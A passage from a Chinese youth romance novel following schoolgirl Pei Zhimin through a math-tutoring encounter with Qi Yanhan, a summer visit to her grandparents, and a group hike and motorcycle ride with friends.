十来米的点餐处,来了个小女孩,女生指着炸鸡小吃一通点,她听见店员耐心劝:“小朋友,这些你一个人吃得完吗?要不减少两样?” “我不是一个人,”方芷宜拒绝道,把现金递过去,“我哥哥也要吃。” “好的,”店员了然,微笑着接过钱找零,随后和取餐号一起给她,“可以去坐着等一等哦。” 方芷宜礼貌地说了声“好”,那时店里已经没空桌了,她选了张只坐了一个人的四人桌,正好靠窗,视野开阔明亮。 那会儿裴知悯解题解得正糟心呢,根本不在意对面坐了谁,倒是方芷宜,越看眼前的姐姐越觉得眼熟,她低头在做卷子,旁边还摆了本书,方芷宜瞄见了离她最近的几个字:漫画典藏版。 做完那道数列题,裴知悯抬起头,活动了下脖颈,这才发现对面来了个女孩,正一眨不眨地盯着自己看。 “姐姐,真的是你啊。”方芷宜眼睛亮亮的。 此时距离她们上次见面,已经过去快一年了,裴知悯顿了好一会儿,才想起来她是谁。 “你也来这儿吃东西?”她问。 “嗯嗯,”方芷宜脑袋直点。 “这么久没见,我都没认出你来。”裴知悯感慨道。 对比一年前,方芷宜长高了不少,五官也长开了些,小脸红润,眼神清澈明亮。 “我今年都十岁了。”她语气很骄傲。 裴知悯笑了,问她:“还在画画吗?” “嗯,”方芷宜皱着小脸,“但感觉有时候,画画好累啊。” 这项艺术本来就是需要坐冷板凳的,很多人都会觉得无聊。 若是换做了别人,肯定会说,累了就休息下再画,但这世界上,没有几个人一开始就能找到自己的热爱,连她当初学画,也是在苏女士的要求下把钢琴书法唱歌都接触了个遍,才做的选择。 裴知悯说:“如果你觉得画画给你带来的痛苦大于快乐,那也尝试下其他的活动。” 方芷宜认真地思考起了她说的话。 “坚持和放弃其实都是很勇敢的决定。” “我知道,”方芷宜浅显地理解了下这个道理。 没过多久,她们的餐前后端上来,两人一面吃一面聊天,裴知悯随口一问:“你有什么别的兴趣爱好吗?” 方芷宜咬着可乐吸管喝了一口:“看动画片算不算?” 裴知悯失笑,果然还是小孩子。 “算啊,怎么不算?” 裴知悯突然有点好奇现在05后的小孩都在看些什么。 方芷宜来了兴致,掰着手指头细数:“大耳朵图图,熊出没,果宝特攻……” 嗯,都是她看过的,裴知悯觉得她还没过时。 “跟你说个新鲜的。” 方芷宜耳朵竖起:“什么?” “果宝特攻里,橙留香和梨花诗是同一个人配的音。” “一个人?!”方芷宜瞪圆了眼,“完全听不出来啊!” “菠萝吹雪和上官子怡也是。” 方芷宜更是震惊得说不出话。 裴知悯浅笑道:“你猜猜,这两个配音老师是男还是女?” 小姑娘想了五秒钟:“男?” “女性,”裴知悯笑,“厉害吧?” 方芷宜赞同得不行。 那会儿裴知悯正想继续做卷子了,方芷宜摆出一个最灿烂的笑,指了指那本漫画,“姐姐,这个漫画我能看看吗?” “可以啊,”裴知悯大方道,拿出书给她,“它是图文一体的,文字部分你如果看到不懂的话,就看图画吧。” 方芷宜笑得可甜了:“好。” 丰子恺的漫画都很自然生动,方芷宜看得津津有味,裴知悯见状,放心地埋头做题。 那时她们在这儿相安无事,对面的商场却走出来个神色焦急的男生,惊起门口觅食的一群白鸽,他两手叉腰,四下张望。 祁砚寒在商场玩完,见方芷宜买个吃的还没回来,还以为她迷路走丢了,匆忙出来找人。 到快餐店时,这小姑娘正一口一根薯条吃得正香,手里拿着本不知道什么名头的花花绿绿的书在看。 祁砚寒都被她那自在悠闲的模样给气笑了,他走过去,拉开她旁边的椅子坐下,一脸算账的表情,“方芷宜,你吃独食呢?” “哥哥?!”方 芷宜瞧见他,悻悻地放了薯条。 “你在这儿吃怎么不跟我说一声?”祁砚寒面色有点严肃,“我找了你半天。” 方芷宜被他训得不敢说话。 “还有,”祁砚寒瞥了一眼她手里的书:“你在看什么?” 方芷宜把封面给他瞧,“漫画。” 祁砚寒眉头微微一皱:“哪儿来的?” 耳畔响起一道胆怯又柔和的女声,“我给的。” 祁砚寒侧头,才注意到裴知悯坐在自己右边,女生穿着件天蓝色的裙子,小V领,脖颈光滑白皙,脸蛋也白得跟剥了壳的鸡蛋似的,只是那双眼睛里,掺杂了一抹拘谨无措。 方芷宜解释道:“是我想看的,这个姐姐就给了我。” 祁砚寒面露了然。 方芷宜把可乐汉堡炸鸡腿全推到她哥面前,“哥,快吃吧,还没冷。” 祁砚寒哼了声:“算你还有点良心。” 裴知悯不知道他们怎么忽然坐在一张桌子上了,他们各做各的事,祁砚寒戴上耳机开了局游戏,方芷宜看得眼珠直转,根本不理睬她哥。 两局游戏打完,祁砚寒放了手机,看她蹙着眉头,唇线绷直,笔转了一圈又一圈,就是没写一个字。 祁砚寒注视她良久,忍不住问:“不会?” 裴知悯抬眼看他,难为情地点了下头。 祁砚寒默了一秒:“我看看?” 裴知悯赶忙把卷子递过去。 祁砚寒看了十来秒的样子,朝她伸手:“笔。” 裴知悯给他。 “你这里辅助线没画好,这么作会增加很多计算量,你把这里擦了,换成P点和AC相连,然后再用斜率相乘等于1的公式算……” 祁砚寒讲得很细致,裴知悯一个字都不落地听着,慢慢有了思路。 说完,他把笔和卷子还给她:“再试试,不懂再问我。” 裴知悯按捺住惊喜的心,说:“好。” 于是,她平生和他相处时间最长,说话最多的一次就花在了这个下午。 夕阳落下之前,他们告别,小姑娘依旧不舍,和她说下次再见。 裴知悯应好。 那时方芷宜只把她当做了个知心姐姐,殊不知,未来和她的每次相遇,都是缘分在推。 再回到学校,裴知悯接着和数理死磕,就这么磕了一个多月,她好像真的“飞升”了,那次期末考,她是班级第八,年级第九十五,喻书是年级第九十九。 两人平生第一次进年级前一百,高兴得简直要跳起来了,放学路上,她们碰见个卖彩票的小摊。 喻书眼睛一闭,张开右手,一副算命状,“我掐指一算,今天是个大吉的日子,” 裴知悯一头雾水:“啊?” 喻书睁开眼,临时起意:“我们去刮个彩票吧?” “真去?” “来都来了。” 又是这四个字,裴知悯咬唇道:“我运气一直都不好。” 那些年冰红茶有“再来一瓶”的兑奖活动,裴知悯从没中奖过。 “没事,”喻书揽上她的肩膀,往小摊走去,“我刮。” 裴知悯花了二十块,买了两张卡,一人一张,她这张果然没有,倒是喻书那天的运气当真好,刮中了一百块。 拿着那钱,喻书说请她吃冰淇淋,两人刚走到便利店前,就看见了祁砚寒和喻臣。 那会儿夕阳还未敛尽,霞光满天,男生从光里走来,说说笑笑。 喻书激动地喊:“哥——” 喻臣徐步过来,“怎么了?” “当当当!”喻书扬了扬手里的红钞票,激动地和他说,“刚刚刮奖中的!” 喻臣眉峰一挑,“运气这么好?” “那可不,想吃什么?”喻书朝便利店抬了点下颌,问起他们两个,“随便挑,我请客。” 喻臣自然不和她客气,手插着兜就进了便利店,只是,祁砚寒没动。 “别客气啊,见者有份。”喻书见他愣着,热情道。 喻臣也在里面喊:“就是,反正不是花她的钱。” “行,”祁砚寒勾唇轻笑,走进去前说,“谢了啊。” 于是那天下午,他们四个吃着雪糕冰淇凌,悠哉游哉地走着,谈笑风生。 夕阳拉长了他们影子,裴知悯不经意间回头看了眼,她的头,正好枕在了他的肩上。 后来,喻书把最开始买彩票的十块钱转给裴知悯,她没收。 就当她也请了他一次吧。 第19章 第19章她甘愿沦陷 又是一年暑假。 去年这时候,苏英将裴知悯送去了补习班,如今在成绩上见了效,她更觉此方法有效,于是快刀斩乱麻地又给她报了班。 当晚,苏英来和她讲这件事,裴知悯不想去,她想在家复习,奈何这话一出来,她母亲就一票否决了。 “补习班的氛围肯定比家里好,你在那里和他们互相监督互相学习,对学习肯定大有裨益。” “妈,我和补习班里的人真的不太熟,一天都说不了多少话。” 苏英:“那你一个人在家,连话都没得说。” 裴知悯无言以对。 “对了,”苏英想起了件重要的,语气坚决道,“现在距离你高考,满打满算连一年都不到,画画那事一点都不要想了,一门心思放学业上,你的高考,是我们全家人都放在首位上的事,你自己也要分清主次,别做些没意义的事。” 裴知悯嗓子一哑,想和她据理力争,可对上苏英那双疲惫又怀有希冀的眼,她愣是一个字都说不出来。 这场谈话,毫无意外的以裴知悯的妥协而告终。 裴振理解姑娘的想法,当晚就和苏英商量,让裴知悯上一个月补习,留一个月她自己复习,苏英却丝毫不让,说这么紧张的时间,再不抓点紧,成绩又要落下来,后面不知怎的,两人说着说着就吵了起来。 裴知悯屋里听着他们争论,心累地闭上了眼睛,那天晚上没有月亮,夜空很黑,像是一张巨大的布。 去上补习班前,裴知悯有一周的调整时间,她回了栖梧。 外公上个月不小心摔倒了,膝盖做了手术,在医院躺了半个月才回家。 那是一个雾气朦胧的阴天,外公正在院子里除草,老人佝偻着背,额头冒出了汗,她轻轻喊:“外公。” “知悯!”老人苍老的脸上满是惊喜,“怎么回来了!” 裴知悯装作若无其事的样子,绽开笑说:“想你们了啊!” 苏献培笑容爽朗:“外公也想你。” 那时外婆在后院开荒种菜,客厅里只有裴知悯和苏献培,外公四处翻找柜子,说要把前些天晒的金银花茶拿出来给她煮水喝,解解暑气。 裴知悯不敢让他一个人行动,就在一旁守着。 “你别站着了,”苏献培朝沙发那儿抬了抬下巴,“去坐下休息会儿吧。” 裴知悯抿出个笑:“没事,我不累。” 苏献培笑着道:“那你让让,挡着我找东西了。” 裴知悯配合地往外挪了几步,苏献培手撑着这一条柜子,慢慢走过来,嘴里呢喃自语说“是不是在这个柜子里”。 裴知悯默了良久,开口问:“外公,你的腿还疼吗?” 苏献培翻柜子的动作一顿,知悯怎么知道的? 也就是那一瞬间,他明白了她回来的原因。 “你外婆告诉你的吧?” 裴知悯摇头,实话实说:“妈给外婆打电话,想让你们来南城住,外婆说什么都不肯来,妈打破砂锅追问原因,她就没瞒住。” 外公轻叹了声:“不让她说,就是怕你们担心。” 裴知悯低声道:“我知道。” “放心,就是个小伤,你外公身体硬朗着呢,”苏献培在她面前伸展了下手臂 ,又来回走了两圈,“早起去湖边锻炼都能走上两小时,好得很,你放心。” “外公,”裴知悯轻声说,“我舍不得你。” 苏献培喉头一哽,找到金银花茶,拿出一袋,走向茶几坐下。 “我都是半截入土的人了,就算哪天真走了,你也别难过,”他说得很豁达,“生老病死,是人都要走这么一遭。” 裴知悯听不得这种话,使劲地跺了跺脚,急了:“外公!” 苏献培半哄道:“好好好,我不说了。” 几朵金银花被丢进茶壶里,小火煮着,茶汤渐而变成琥珀色。 苏献培倒了一杯,唤他:“来喝点茶。” 茶水清甜甘香,裴知悯小口小口地喝着,陪他聊着天。 中午吃过饭,苏献培就打算出门出茶馆打牌。 那会儿天色看起来比早上更加阴沉了,云全是灰色,水阴阴的,满目荒凉,不多时,一场雨猝不及防地落了下来,哗浪浪的雨,下得又快又急,打落了好些朵院里的花。 苏献培望着零落的花瓣,直摇头道:“唉哟,看样子不能出去打牌了。” 裴知悯揽上他的肩,提议道:“外公,我陪你下棋吧?” 苏献培应得爽快:“好啊。” 小时候外公就把她当成棋友搭子,象棋围棋都教了个遍,瞧这雨的架势,一时半会儿应该停不下来,祖孙俩一致说下围棋。 棋盘刚摆好,门口就响起了沉闷的叩门声,接着有苍老的声音传进来:“老苏——老苏——” 外公停下手里分棋子的活,撑伞去开门,裴知悯站在檐下,看着他明显迟缓许多的步伐,眼眶慢慢湿润了。 门外是位老人,拎着一个木篮,里面铺着的樱桃个个粒大饱满,水滟滟的鲜嫩。 “就因为你一个电话,我立马从树上摘了下来,还冒雨给你送来,”他邀功似的说,“这次你怎么都要送我一坛桂花酒喝喝吧。” “没问题,”她听见外公的笑声,“两坛都可以。” 老人递来篮子,轻责道:“你下次要吃起码提前一天跟我说,不然我临时弄还真来不及。” 外公说:“我孙女喜欢吃。” 老人透过半开的木门,看到了屋檐下站着的女孩子,一袭白裙,亭亭玉立。 “就是那丫头?” 外公回头望了眼裴知悯,笑着点头:“是。” 老人羡慕流露得格外自然:“你这老头,有福气啊,孙女这么乖。” 外公笑痕更深。 他们聊了会,那个老人就说回去了,院门关上,外公提着一篮樱桃进来。 裴知悯侧过头,假意去看屋檐上的燕子,悄悄把泪意憋回去。 “这可是刚摘下来的,新鲜的很,你快尝尝。”苏献培把那篮樱桃送到她眼前。 裴知悯随手抓了一个喂进嘴里。 “甜不甜?”老头问。 她皱眉瘪嘴,吐出一个字:“酸。” “不会吧?这个季节的樱桃应该都熟了啊。” 话还没说完外公就拿了一颗尝,裴知悯还在装,等着看他的反应。 苏献培仔细品尝了下,不酸啊,甜滋滋的。 他以为是自己运气好拿到了甜的,还想再尝一个,一抬眼看见裴知悯得逞的笑容,眨眼间反应过来。 “你这孩子。” 裴知悯调皮地朝他歪了歪脑袋,眉眼弯起,接过篮子走向厨房,“我去洗了给外婆也尝尝。” 走到一半,她还不忘回头提醒,“外公你先把棋子分好,我马上就来。” 苏献培语气宠溺:“好。” 外婆那时还在收拾屋子,裴知悯在水槽里洗樱桃。 “你外公在干嘛?” “刚说要去茶馆,”她洗了两个给外婆吃,“下雨了我就说陪他下棋。” 外婆嚼着樱桃,低语道:“他那人哦,死犟,这个天气还要去走,真当自己还年轻呢,做个手术休息三五天就好。” 裴知悯暗自一叹,抿紧唇没说话。 洗完樱桃,她端了一碗出来。 围棋这个东西,一朝落错,满盘皆输,祖孙俩都下得专注,完全没在意外面的雨是在变大还是变小。 一局棋下了一个小时,末了是苏献培赢了。 好巧不巧的是,棋下完,外边的雨也停了,新晴的天空澄净如洗,像是一瓦瓷,阳光从云层透出来,洒在大地上。 这一天可真是风云变幻啊,裴知悯在心里感慨。 檐下的水缸里盛满了水,许兰君丢了个西瓜进去,在里边放个半小时,就有了冰镇的效果。 捞起西瓜后,外婆去厨房切成了小块,她和外公就在外边处理雨打风吹去的花,那时裴知悯在院门那儿,苏献培却快走到园子深处了,她只看得到他躬着的一点背影。 裴知悯心头一紧,朝花丛中喊:“外公——” 老人站起来,回头望:“诶——” 裴知悯笑了起来,看向蓝蓝的天:“没事,就喊一下你。” 苏献培无奈地一笑,继续弯腰干活了。 快打扫完时,外婆端着一盘西瓜出来,放在小木桌上,“知悯,来吃西瓜了,甜得勒。” “来喽,”裴知悯洗净了手,蹦跳着去拿了一块,坐在了板凳上。 很多年后,裴知悯都记得,在那个宁静的午后,栀子花的清香萦绕着整个小院,外公在打扫花枝,外婆坐在摇椅上晒太阳喝茶,她看着丰子恺的漫画,一块西瓜在手上,时不时啃两口。 门外有小孩子跑过,欢笑声纯真清脆,有一声特别嘹亮,惊起了别家门口的犬吠,扰得她都听不清外婆的收音机里在放什么歌,等了好一会儿,她才听出是《蝴蝶泉边》的前奏,紧接着有轻快的女声轻快响起:“我看到满片花儿的开放,隐隐约约有声歌唱。” 后来裴知悯才终于读懂了那句“赌书消得泼茶香,当时只道是寻常”。 那一周过完,裴知悯回了南城,喻书暑假去学架子鼓了,蒋琛和卫旭好像也没来补习,她一个人在补习机构过着朝九晚五的日子,没意思极了。 七月末的周六下午,罕见地没有出太阳,淡青的天上,只有几片云。 裴知悯在书桌前无聊地做着题,手机忽然震了下,喻书发来了一张天空照。 Book:真是风轻云淡的一天啊。 裴知悯也给她拍了张自己窗外的天空,等她发出去后,才发现两张照片竟高度相似。 知悯:怎么我们拍的云这么像? 喻书又发来一张照片,是她楼下的桂花树。 Book:你猜猜我在哪儿? 知悯:我家楼下? Book:binggo!(注) Book:出不出来?我们去爬山。 裴知悯惊喜至极,“蹭”地一下站起来,看了眼身上的裙子,她连忙去衣柜里找了套白衬衣黑色阔腿裤换上,出了门,路口处摆了辆小电驴,喻书看见她就跑了过来,给了她个熊抱。 “想死我了。”说的有点流里流气。 裴知悯都要笑死了。 暑假她们各自都有事,联系全靠手机,这一面还真有点相见恨晚的意味。 还没抱够,喻书的手机就响了,她按下接听,对面听声音应该是喻臣,两人没说几句就挂了,她把手机揣回兜里,说:“我哥他们到滨江路了,让我们快点过去。” 裴知悯:“好。” 喻书拿过车上的两顶头盔,给了她一顶。 裴知悯利落地扣上,问他:“这车是哪儿来的啊?” “租的。”喻书说完就走向驾驶位跨步上去,示意裴知悯上来。 她不可置信:“你开?” “那不然你开?” 从前她们玩卡丁车,裴知悯就乱打方向盘,喻书可不敢信她。 好吧,还是你开吧。 裴知悯一步,喻书拧了下车把手,小电瓶悠悠地起步了。 街上人多,喻书开得很小心,裴知悯抱紧她的腰,打听道:“都有谁一起去啊?” “还能有 谁,“喻书目视前方,“就我们几个。” 那他会不会也在? “具体点。”裴知悯说。 耳畔吹过一阵强烈的风,喻书没听清,她紧盯着路况:“你先别跟我说话,我不能分心。” 算了,到地方就知道了。 车开了十五分钟左右,就到了滨江南路,他们四个早就到了,祁砚寒靠在湖边的围栏上,额前的黑发被风吹乱,眼神扫过来时,裴知悯呼吸微滞,别开眼拨了拨头发。 卫旭和蒋琛坐在马路边上,一人手里拿着根树枝在舞,见她俩来了,表情欣喜。 “你们可算来了,”卫旭一副苦大仇深的表情,“再不来,黄花菜都要凉了。” “不好意思啊,”裴知悯致歉道,“是我收拾晚了。” “不晚,别听他瞎说,”喻臣跨步一迈上了车,正要喊祁砚寒,那人却早已坐上了摩托车。 喻臣朝他使了个眼色,祁砚寒瞬间会意,转动了车把手,车子一下驶离出去。 喻书见状,也拧起车把手跟上喻臣。 “那你们还不走?”喻臣声音带笑,“等着看日落呢?” 这两个一下丢了手里的树枝,骑上车去追。 湖面上飘来微凉的风,吹乱了他们的衣摆,滨江路很长,他们的笑声响了很久,飘了很远。 雾浮山是南城最高的山,山势微陡,小路颇多,幸好他们都是本地人,对这里还算熟悉。 爬了一个多小时,到山顶前,有个很高的坎,几个男生很快就上了去,裴知悯走在最后,累得直喘气,她想歇会在去爬,眼前忽然出现一只清瘦宽大的手掌,她一抬眼,呼吸更乱了。 祁砚寒神色平静:“上来。” 裴知悯呼了一口气,伸出手,皮肤纹理触碰的那一刹那,她心都漏跳了一拍,男生掌心的温度很高,让人感觉很安心。 祁砚寒握紧她的手腕,用力拉了一把,裴知悯借力上去,猛地一下扎进了他怀里,他身上的味道干爽又清冽,统领着她的感官,又来侵占她内心最柔软的那块领地。 而她缴械投降,甘愿沦陷。 那个瞬间,裴知悯后来记了很久。 那会儿都快四点了,几个人都累得不行,背靠着背坐在草地上歇息。 此时风烟俱净,耳边是自由飘渺的风,眼前是铮铮山峦。 “终于上来了啊,”蒋琛感叹,“果然要‘会当凌绝顶’,才会‘一览众山小’。” 喻书说:“这感觉堪比解出一道数学题。” 卫旭出声:“你这么说的话,这感觉我确实很少能体验。” 众人登时大笑起来。 卫旭“刷”地一下站起来,大手一挥:“此情此景,应当吟诗一首。” 喻臣觉得可行,笑问道:“吟什么?” “《琵琶行》?”蒋琛提议,“正好当复习了。” 卫旭都不想理这个不解风情的人,这么好的时候,念那个苦情的诗作甚。 “大可不必,”喻臣赶紧拒绝,“换一首,我不想吟悲伤的诗。” 他们沉思时,卫旭已经扯着嗓子在嚎了:“天高云淡,望断南飞雁——” 蒋琛站在喻臣旁边,提前问道:“下一句是什么?” 喻臣白了他一眼,告诉了他。 卫旭一吼完,蒋琛自动接上:“不到长城非好汉。” 喻臣:“屈指行程二万。” 喻书:“六盘山上高峰。” 裴知悯:“红旗漫卷西风。” 祁砚寒:“今日长缨在手。” 长风浩荡,他们面向群山,全体默契地一起向着远方的山川高喊道:“何时缚住苍龙!” 两秒后,山谷传来悠远的回音。 第20章 第20章看不出来啊,你还追求这个?…… 山上的空气清新,风景也是独一份的美丽,整个南城都在他们脚下,从高处俯瞰是和日常行走在这座城市中完全不一样的感觉。 云雾缭绕的山峦之下,高楼大厦壮观巍峨,江河穿城而过。 这么美的景色,这么难忘的时光,卫旭觉得不容错过,组织大家说拍张照留个纪念。 六个人里面,卫旭、喻书和裴知悯站在前方,蒋琛、喻臣和祁砚寒则分别站在他们身后,男生均匀的呼吸洒在她的头顶,裴知悯悄悄整理了下发梢,喻书挽上她的手,让她一起比“耶”。 卫旭举起手机,高声喊:“准备!” “等等!”蒋琛抓了把发茬,“我头发被风吹乱了。” 卫旭回头看他:“你快点!磨蹭得很。” “好了好了。” “来,看镜头!”卫旭提醒道,“三二一,茄子!” 话音落下的那秒里,所有人都扬起了笑,照片恰好定格在了他们笑得最灿烂的那一刻。 拍完后,卫旭建了个群,把刚才拍的分享了出来,裴知悯点进去看,照片上的所有人发丝飞扬,笑脸真挚。 在她身后,那个看向镜头的男生姿态松弛,笑容自然,眉目间尽是意气风发。 而她也笑得明媚。 裴知悯悄悄点了保存。 她后来也没想到,自己就凭着这一张照片,惦念了他一年又一年。 在山上没待多久,他们就下去了,山脚下有许多供人休息的座位,蒋琛没坐,直奔小卖部买水,卫旭紧跟其后。 “渴死我了,”蒋琛自言自语,快速拿了瓶可乐。 卫旭悠哉开口:“我也要。” “没钱,”蒋琛越过他,走向收银台,“自己买去。” 卫旭笑骂:“你葛朗台啊。”(注) 蒋琛“切”了一声,选择忽视他的话。 “咱兄弟这么多年,我都要渴死了,”卫旭故意夸大其词,“你都不打算请我喝瓶可乐?” “等你渴死再说。” 蒋琛说着已经掏出手机准备付款了,卫旭见他如此绝情,朝门外大喊:“砚哥,蒋琛说要请我们喝饮料。” 蒋琛听见,连眉头都写着不敢相信,扭过头来,一错不错地盯着卫旭。 “你够可以的啊,”蒋琛眯了下眼睛,眼里警示意味很足,“整我呢?” 卫旭这个大男孩笑得无畏又开怀:“独乐乐不如众乐乐嘛。” 蒋琛:“……” 两人还在这里较劲,外边四个就已经走进来了,祁砚寒看着蒋琛,声音懒散:“我就不说谢了啊。” 他走进去后,喻臣过来捶了下他的肩膀:“可以啊,这么多年兄弟没白做。” 说完他也去了冰柜那边,喻书走过来,粲然道:“谢谢啊。” 到了蒋琛面前,裴知悯刚张开嘴想说谢,就看见他挥了挥手,糟心道:“去吧去吧。” 雾浮山是南城著名的景点,这一片也算景区,店里的零食饮品会比一般的店卖得贵些,于是这天,蒋琛含泪在这家“黑店”花出了一张红钞票。 小卖店旁边就是公园,几个人一人手里拎着瓶饮料,过去歇了会儿,那儿有秋千,喻书和裴知悯在荡。 这里环境很幽静,鸟叫声空谷回响,两人闭着眼,悠悠地荡着。 “你练鼓练得怎么样了?”裴知悯问。 “嗐,累啊,练得我满手都是泡。”喻书张开手掌给她看,“要不是因为交了钱,我真想现在就退了算了。” 看着她破皮的指根,裴知悯满眼心疼:“痛不痛啊?” “还好啦,”喻书对着那处吹了吹,“就当是我心血来潮学它的代价了。” 喻书学这个纯粹是觉帅,正好找个理由逃掉她母亲给她报的补习班。 裴知悯轻轻叹了口气。 “你呢?补习班上得如何?”喻书笑问,“没我在的日子寂寞吧?” 裴知悯点了点头,语气恹恹:“可寂寞了。” “唉,”喻书同情道,“你再坚持一个月,等到了学校,谁都拆散不了咱俩。” 裴知悯只觉这日子太难熬了,自顾自地荡起了秋千。 林间的鸟儿突然叫了几声,惹得树枝乱扭,她仰头去看,有猴子窜过。 “对了,你还在画稿吗?”喻书悄声问,“最近怎么都没听到消息了。” 说起这个,裴知悯重重地叹了一声,才应道:“在画。” 喻书看她愁眉苦脸,关心道:“画得不太顺?” 裴知悯咬唇:“我妈不太同意我画。” 自从苏英下了“死令”后,她画稿是如履薄冰,还好有裴振帮着她。 “那你……怎么办啊?” 喻书多少了解点她画画的这个性质,长时间不动手是会手生的。 裴知悯扯了扯嘴角:“能怎么办?悄摸画呗。” 好久没回归大自然了,她有点想念,说完就闭上了眼,深呼吸着干净的空气。 沉默之际,忽然听见喻臣在背后喊她俩:“回去了。” “知道了,”喻书回完,又说,“再坐会儿。” 裴知悯闭着眼,含糊地“嗯”了一声,两只手绕过秋千线握着轻轻荡着,殊不知,喻书已食指放在嘴前,告诉喻臣不要声张,猫着腰轻手轻脚往外走了。 祁砚寒抽完烟,不慌不忙地走在最后,瞧裴知悯还一副游离在世界之外的样子,低声问:“怎么还不走?” 裴知悯“刷”地一下睁开眼,灰色的世界里,祁砚寒的脸逐渐明晰,那人眼里含着淡淡的笑:“不然再坐会儿?” 裴知悯心跳差点都要停止了。 她扭头去看,喻书早就走远了。 “哈哈哈哈!”喻书边跑回头笑她,“被骗了吧?” 裴知悯连忙去追,她跑,喻书也在跑,两人始终保持着十来米的距离。 裴知悯放弃了,手撑着膝盖喘气。 “别追了,”祁砚寒从后面走上来,“他们会在前面等我们的。” “你知道?” 祁砚寒觉得好笑:“这么不信你朋友?” 裴知悯没话说了。 这里离他们停车的地儿还有一段路,他们都没说话,就慢慢地沿着路一直走,途经鲜花,途经野草,从寂寥无人走到行人匆匆。 后来打道回府时,卫旭和蒋琛这回怕被“落下”,先一步骑上车跑了,喻臣和祁砚寒跟着,喻书和裴知悯则悠然许多,走在最后也不着急,晃悠着小电驴,赏赏景,偶尔还停下来拍个照。 那几辆车逐渐消失在她们视野里,两人走了好一阵,才在一个转角出去看到熟悉的人影,喻臣靠在黑色的摩托车上玩手机,祁砚寒在他三五外站着,指尖夹着一抹猩红,但看见她们时,那点红光立时就被掐灭了。 喻书拧紧刹车,把车停在他们后面。 “你们怎么不走啊?”她问。 祁砚寒看向喻臣,这人说:“等你们来看日落。” 喻书看了眼遥远的天,那是一片静谧的灰蓝色,黛色的山峰上,盘旋着几只麻雀。 “哪有日落啊,”她嘟囔了句,一扭头回来,疑惑道,“哥,你的车呢?” 喻臣:“蒋琛开走了。” “他开你的车做什么?” “你说呢,”喻臣隔空指了指她的车头,嘴角掀起一抹嘲弄的笑,“照你这么开,开到天黑都开不回去。” 喻书抿了抿唇:“我这是遵循安全第一的原则好吧。” 喻臣哼了声,抬腿过来。 “知悯,你去坐祁砚寒的车,”他看了眼裴知悯,随后对喻书说,“然后你现在下来,我开。” 喻书不太乐意,没动。 喻臣看了眼腕上的机械手表:“我们只租了五个小时的电瓶车,等会儿超时了,麻烦你交一下钱。” 喻书闻言,麻利地离开了车子,让他来。 与此同时,裴知悯走到摩托车那里,男生长腿一迈,跨上摩托车,侧目看她:“上来。” 裴知悯乖乖地去向后座,只是那地盘有点高,她不好上去。 祁砚寒看了眼后座,说:“手撑着我的肩膀。” 裴知悯犹豫不过一秒,手就搭上他的肩膀踩上脚踏,坐了上去,他身上有凛冽的烟草味道,跟山间的青草香气融合在了一起。 让人感觉很安心。 祁砚寒转动把手,摩托车驶离出去,车速很快,脸上扑来凶猛的风,裴知悯紧紧攥着他的两侧衣摆。 黑色的T恤衫被风吹鼓,她抓着的那两处,涌现出了深深的褶皱。 到了市区,遇见一个红灯,祁砚寒停下车,衣服有明显的向下的拉力,他低下头看,捏住衣摆的那双手白皙纤细,或许是因为太用力,她的指甲泛着好看的粉红色。 他偏头问她:“用不用开慢点?” 裴知悯轻声道:“不用。” 祁砚寒意味不明地笑了下,绿灯亮起,他重新发动车子。 走过这个红灯,不知从哪儿飘出另一辆摩托车,骑手和他并排行进,那人偏头看着他,一只手把着车头,轮胎摩擦出巨大的声响。 祁砚寒懒得理他,行进了一条街后,那人得寸进尺,右手握拳大拇指向下对着他,挑衅意味十足。 男生舔了下腮帮,低沉的声音透过头盔传来:“抱紧。” 说完他就踩了油门加速,车辆急速飞离出去。 裴知悯因为惯性,脸不期然地撞上了他的背,手也环上了他的腰,那节腰腹精瘦,紧致又有力,这么凉的风,她面颊却泛上了一层红。 那辆车很快就被他们甩在身后,走过这段路,车速渐渐降下来,裴知悯正思考着要不要松手,他们就已到了地方。 租车店门外摆着两辆眼熟的车,她认得出来是蒋琛他们的,可是那俩人却不知道去哪儿了。 下了车,裴知悯腿还有点软,坐在椅子休息,祁砚寒脱掉头盔依在后座,抓了一把微乱的碎发,又呼出一口气。 衣领硌了脖颈一路,又被冷风吹了,现在后知后觉的有点疼。 他余光瞟过眼前这个眼眸低垂的女生,这姑娘手劲怎么这么大? 天色不早,店里没什么人,他们不言不语,空气里全是尴尬。 祁砚寒忽然问道:“刚才怕不怕?” 裴知悯抬眼看他,声调很平:“不怕。” 事实上她怎么可能不怕,平生第一次“飙车”,她心都跳在了嗓子眼里。 可他这样一问,裴知悯便撒了一个弥天大谎,想塑造出个英勇又无畏的自己。 祁砚寒挑了挑眉梢,看着眼前这个穿着简单的白衬衣黑阔腿裤的女生,那张脸干净固执,眼瞳清澈明亮。 他忽地笑了声,这一瞬间,他承认他是有点小瞧她了。 “是么?”祁砚寒故意逗她,“脸都白了。” 印象里她刚刚整张脸都埋进了他的后背,手把他的腰揽得很紧。 裴知悯轻轻怔了下,这么快就被看穿了? 她眨了眨眼,佯装镇定:“就感觉挺刺激的。” 祁砚寒别有意味地勾了勾唇角,不知道信没信。 “刺激?”他咀嚼了下这两个字,嗓音里溢出笑,“看不出来啊?你还追求这个。” “没有追求。”裴知悯微蹙了下眉,纠正道。 “嗯,”祁砚寒思量了下,赞同道,“确实不提倡追求这个。” 说完他扬眉,还来问她:“你说是吧?” 裴知悯抿了下唇,别扭地“嗯”了一声。 消失的那两人这时从店里走出来,蒋琛谑笑:“来了啊,这下终于不是我是倒数第一了吧。” 祁砚寒哼了声,没搭腔。 卫旭问:“另外的人呢?” 话音刚落,门口就有了动静,喻书和喻臣就来了。 还完车,他们一群人离开店铺往外走,行至十字路口,祁砚寒猛地顿住了脚,目光看向斜对面,他眸子立刻就冷了下去,裴知悯察觉到,跟着瞥去了一眼。 那是栋金碧辉煌的酒店,恢宏气派的门口,停着辆加长型的黑车,一群西装革履的中年人士从玻璃门走出来,其中一个男人搂着个长发红唇的年轻女人,她半个身体都靠在他身上。 祁砚寒那一瞬间想了很多,他想起那个男人声泪俱下中的拳拳誓言,说他只是酒后一时糊涂。 他想起某个深夜,闻瑾站在廊下,窗户完全打开,猎猎的寒风灌进 来,他母亲打了个寒颤,她裹紧披肩,和闻霏打电话,许是夜晚太过寂静,他听见小姨问:“值得吗?为了这么个人。” 闻瑾抹掉眼角的泪:“为了这个家,就值得。” 那头,女人先上了车,男人紧跟再后,黑车旋即向着他们相反的方向扬长而去。 卫旭在前头喊:“砚哥,看什么呢?走了。” 祁砚寒眸子漠然,敛回视线一言不发地抬脚跟上大部队。 